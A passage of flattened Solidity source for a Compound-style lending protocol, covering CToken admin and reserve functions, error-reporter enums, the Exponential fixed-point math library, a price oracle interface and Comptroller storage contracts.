fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Sets a new comptroller for the market * @dev Admin function to set a new comptroller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setComptroller(ComptrollerInterface newComptroller) public override returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK); } ComptrollerInterface oldComptroller = comptroller; // Ensure invoke comptroller.isComptroller() returns true require(newComptroller.isComptroller(), "marker method returned false"); // Set market's comptroller to newComptroller comptroller = newComptroller; // Emit NewComptroller(oldComptroller, newComptroller) emit NewComptroller(oldComptroller, newComptroller); return uint(Error.NO_ERROR); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external override nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed. return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED); } // _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to. return _setReserveFactorFresh(newReserveFactorMantissa); } /** * @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual) * @dev Admin function to set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK); } // Verify market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK); } // Check newReserveFactor ≤ maxReserveFactor if (newReserveFactorMantissa > reserveFactorMaxMantissa) { return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK); } uint oldReserveFactorMantissa = reserveFactorMantissa; reserveFactorMantissa = newReserveFactorMantissa; emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Accrues interest and reduces reserves by transferring from msg.sender * @param addAmount Amount of addition to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED); } // _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to. (error, ) = _addReservesFresh(addAmount); return error; } /** * @notice Add reserves by transferring from caller * @dev Requires fresh interest accrual * @param addAmount Amount of addition to reserves * @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees */ function _addReservesFresh(uint addAmount) internal returns (uint, uint) { // totalReserves + actualAddAmount uint totalReservesNew; uint actualAddAmount; // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the caller and the addAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional addAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ actualAddAmount = doTransferIn(msg.sender, addAmount); totalReservesNew = totalReserves + actualAddAmount; /* Revert on overflow */ require(totalReservesNew >= totalReserves, "add reserves unexpected overflow"); // Store reserves[n+1] = reserves[n] + actualAddAmount totalReserves = totalReservesNew; /* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */ emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew); /* Return (NO_ERROR, actualAddAmount) */ return (uint(Error.NO_ERROR), actualAddAmount); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external override nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED); } // _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to. return _reduceReservesFresh(reduceAmount); } /** * @notice Reduces reserves by transferring to admin * @dev Requires fresh interest accrual * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReservesFresh(uint reduceAmount) internal returns (uint) { // totalReserves - reduceAmount uint totalReservesNew; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK); } // Fail gracefully if protocol has insufficient underlying cash if (getCashPrior() < reduceAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE); } // Check reduceAmount ≤ reserves[n] (totalReserves) if (reduceAmount > totalReserves) { return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) totalReservesNew = totalReserves - reduceAmount; // We checked reduceAmount <= totalReserves above, so this should never revert. require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow"); // Store reserves[n+1] = reserves[n] - reduceAmount totalReserves = totalReservesNew; // doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. doTransferOut(admin, reduceAmount); emit ReservesReduced(admin, reduceAmount, totalReservesNew); return uint(Error.NO_ERROR); } /** * @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public override returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED); } // _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to. return _setInterestRateModelFresh(newInterestRateModel); } /** * @notice updates the interest rate model (*requires fresh interest accrual) * @dev Admin function to update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) { // Used to store old model for use in the event that is emitted on success InterestRateModel oldInterestRateModel; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK); } // Track the market's current interest rate model oldInterestRateModel = interestRateModel; // Ensure invoke newInterestRateModel.isInterestRateModel() returns true require(newInterestRateModel.isInterestRateModel(), "marker method returned false"); // Set the interest rate model to newInterestRateModel interestRateModel = newInterestRateModel; // Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel) emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel); return uint(Error.NO_ERROR); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying owned by this contract */ function getCashPrior() internal view virtual returns (uint); /** * @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee. * This may revert due to insufficient balance or insufficient allowance. */ function doTransferIn(address from, uint amount) internal virtual returns (uint); /** * @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting. * If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract. * If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions. */ function doTransferOut(address payable to, uint amount) internal virtual; /*** Reentrancy Guard ***/ /** * @dev Prevents a contract from calling itself, directly or indirectly. */ modifier nonReentrant() { require(_notEntered, "re-entered"); _notEntered = false; _; _notEntered = true; // get a gas-refund post-Istanbul } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; contract ComptrollerErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, COMPTROLLER_MISMATCH, INSUFFICIENT_SHORTFALL, INSUFFICIENT_LIQUIDITY, INVALID_CLOSE_FACTOR, INVALID_COLLATERAL_FACTOR, INVALID_LIQUIDATION_INCENTIVE, MARKET_NOT_ENTERED, // no longer possible MARKET_NOT_LISTED, MARKET_ALREADY_LISTED, MATH_ERROR, NONZERO_BORROW_BALANCE, PRICE_ERROR, REJECTION, SNAPSHOT_ERROR, TOO_MANY_ASSETS, TOO_MUCH_REPAY } enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, EXIT_MARKET_BALANCE_OWED, EXIT_MARKET_REJECTION, SET_CLOSE_FACTOR_OWNER_CHECK, SET_CLOSE_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_NO_EXISTS, SET_COLLATERAL_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_WITHOUT_PRICE, SET_IMPLEMENTATION_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_VALIDATION, SET_MAX_ASSETS_OWNER_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_PENDING_IMPLEMENTATION_OWNER_CHECK, SET_PRICE_ORACLE_OWNER_CHECK, SUPPORT_MARKET_EXISTS, SUPPORT_MARKET_OWNER_CHECK, SET_PAUSE_GUARDIAN_OWNER_CHECK } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } contract TokenErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, BAD_INPUT, COMPTROLLER_REJECTION, COMPTROLLER_CALCULATION_ERROR, INTEREST_RATE_MODEL_ERROR, INVALID_ACCOUNT_PAIR, INVALID_CLOSE_AMOUNT_REQUESTED, INVALID_COLLATERAL_FACTOR, MATH_ERROR, MARKET_NOT_FRESH, MARKET_NOT_LISTED, TOKEN_INSUFFICIENT_ALLOWANCE, TOKEN_INSUFFICIENT_BALANCE, TOKEN_INSUFFICIENT_CASH, TOKEN_TRANSFER_IN_FAILED, TOKEN_TRANSFER_OUT_FAILED } /* * Note: FailureInfo (but not Error) is kept in alphabetical order * This is because FailureInfo grows significantly faster, and * the order of Error has some meaning, while the order of FailureInfo * is entirely arbitrary. */ enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, BORROW_ACCRUE_INTEREST_FAILED, BORROW_CASH_NOT_AVAILABLE, BORROW_FRESHNESS_CHECK, BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, BORROW_MARKET_NOT_LISTED, BORROW_COMPTROLLER_REJECTION, LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED, LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED, LIQUIDATE_COLLATERAL_FRESHNESS_CHECK, LIQUIDATE_COMPTROLLER_REJECTION, LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED, LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX, LIQUIDATE_CLOSE_AMOUNT_IS_ZERO, LIQUIDATE_FRESHNESS_CHECK, LIQUIDATE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_REPAY_BORROW_FRESH_FAILED, LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_SEIZE_TOO_MUCH, MINT_ACCRUE_INTEREST_FAILED, MINT_COMPTROLLER_REJECTION, MINT_EXCHANGE_CALCULATION_FAILED, MINT_EXCHANGE_RATE_READ_FAILED, MINT_FRESHNESS_CHECK, MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, MINT_TRANSFER_IN_FAILED, MINT_TRANSFER_IN_NOT_POSSIBLE, REDEEM_ACCRUE_INTEREST_FAILED, REDEEM_COMPTROLLER_REJECTION, REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, REDEEM_EXCHANGE_RATE_READ_FAILED, REDEEM_FRESHNESS_CHECK, REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, REDEEM_TRANSFER_OUT_NOT_POSSIBLE, REDUCE_RESERVES_ACCRUE_INTEREST_FAILED, REDUCE_RESERVES_ADMIN_CHECK, REDUCE_RESERVES_CASH_NOT_AVAILABLE, REDUCE_RESERVES_FRESH_CHECK, REDUCE_RESERVES_VALIDATION, REPAY_BEHALF_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, REPAY_BORROW_COMPTROLLER_REJECTION, REPAY_BORROW_FRESHNESS_CHECK, REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_VALIDATION, SET_COMPTROLLER_OWNER_CHECK, SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED, SET_INTEREST_RATE_MODEL_FRESH_CHECK, SET_INTEREST_RATE_MODEL_OWNER_CHECK, SET_MAX_ASSETS_OWNER_CHECK, SET_ORACLE_MARKET_NOT_LISTED, SET_PENDING_ADMIN_OWNER_CHECK, SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED, SET_RESERVE_FACTOR_ADMIN_CHECK, SET_RESERVE_FACTOR_FRESH_CHECK, SET_RESERVE_FACTOR_BOUNDS_CHECK, TRANSFER_COMPTROLLER_REJECTION, TRANSFER_NOT_ALLOWED, TRANSFER_NOT_ENOUGH, TRANSFER_TOO_MUCH, ADD_RESERVES_ACCRUE_INTEREST_FAILED, ADD_RESERVES_FRESH_CHECK, ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./CarefulMath.sol"; /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function safe224(uint n, string memory errorMessage) pure internal returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint n, string memory errorMessage) pure internal returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function fraction(uint a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./CToken.sol"; abstract contract PriceOracle { /// @notice Indicator that this is a PriceOracle contract (for inspection) bool public constant isPriceOracle = true; /** * @notice Get the underlying price of a cToken asset * @param cToken The cToken to get the underlying price of * @return The underlying asset price mantissa (scaled by 1e18). * Zero means the price is unavailable. */ function getUnderlyingPrice(CToken cToken) external virtual returns (uint); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./CToken.sol"; import "./PriceOracle.sol"; contract UnitrollerAdminStorage { /** * @notice Administrator for this contract */ address public admin; /** * @notice Pending administrator for this contract */ address public pendingAdmin; /** * @notice Active brains of Unitroller */ address public comptrollerImplementation; /** * @notice Pending brains of Unitroller */ address public pendingComptrollerImplementation; } contract ComptrollerV1Storage is UnitrollerAdminStorage { /** * @notice Oracle which gives the price of any given asset */ PriceOracle public oracle; /** * @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow */ uint public closeFactorMantissa; /** * @notice Multiplier representing the discount on collateral that a liquidator receives */ uint public liquidationIncentiveMantissa; /** * @notice Max number of assets a single account can participate in (borrow or use as collateral) */ uint public maxAssets; /** * @notice Per-account mapping of "assets you are in", capped by maxAssets */ mapping(address => CToken[]) public accountAssets; } contract ComptrollerV2Storage is ComptrollerV1Storage { struct Market { /// @notice Whether or not this market is listed bool isListed; /** * @notice Multiplier representing the most one can borrow against their collateral in this market. * For instance, 0.9 to allow borrowing 90% of collateral value. * Must be between 0 and 1, and stored as a mantissa. */ uint collateralFactorMantissa; /// @notice Per-market mapping of "accounts in this asset" mapping(address => bool) accountMembership; /// @notice Whether or not this market receives COMP bool isComped; } /** * @notice Official mapping of cTokens -> Market metadata * @dev Used e.g. to determine if a market is supported */ mapping(address => Market) public markets; /** * @notice The Pause Guardian can pause certain actions as a safety mechanism. * Actions which allow users to remove their own assets cannot be paused. * Liquidation / seizing / transfer can only be paused globally, not by market. */ address public pauseGuardian; bool public _mintGuardianPaused; bool public _borrowGuardianPaused; bool public transferGuardianPaused; bool public seizeGuardianPaused; mapping(address => bool) public mintGuardianPaused; mapping(address => bool) public borrowGuardianPaused; } contract ComptrollerV3Storage is ComptrollerV2Storage { struct CompMarketState { /// @notice The market's last updated compBorrowIndex or compSupplyIndex uint224 index; /// @notice The block number the index was last updated at uint32 block; } /// @notice A list of all markets CToken[] public allMarkets; /// @notice The rate at which the flywheel distributes COMP, per block uint public compRate; /// @notice The portion of compRate that each market currently receives mapping(address => uint) public compSpeeds; /// @notice The COMP market supply state for each market mapping(address => CompMarketState) public compSupplyState; /// @notice The COMP market borrow state for each market mapping(address => CompMarketState) public compBorrowState; /// @notice The COMP borrow index for each market for each supplier as of the last time they accrued COMP mapping(address => mapping(address => uint)) public compSupplierIndex; /// @notice The COMP borrow index for each market for each borrower as of the last time they accrued COMP mapping(address => mapping(address => uint)) public compBorrowerIndex; /// @notice The COMP accrued but not yet transferred to each user mapping(address => uint) public compAccrued; } contract ComptrollerV4Storage is ComptrollerV3Storage { // @notice The borrowCapGuardian can set borrowCaps to any number for any market. Lowering the borrow cap could disable borrowing on the given market. address public borrowCapGuardian; // @notice Borrow caps enforced by borrowAllowed for each cToken address. Defaults to zero which corresponds to unlimited borrowing. mapping(address => uint) public borrowCaps; // address of comp token address public comp; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./ErrorReporter.sol"; import "./ComptrollerStorage.sol"; /** * @title ComptrollerCore * @dev Storage for the comptroller is at this address, while execution is 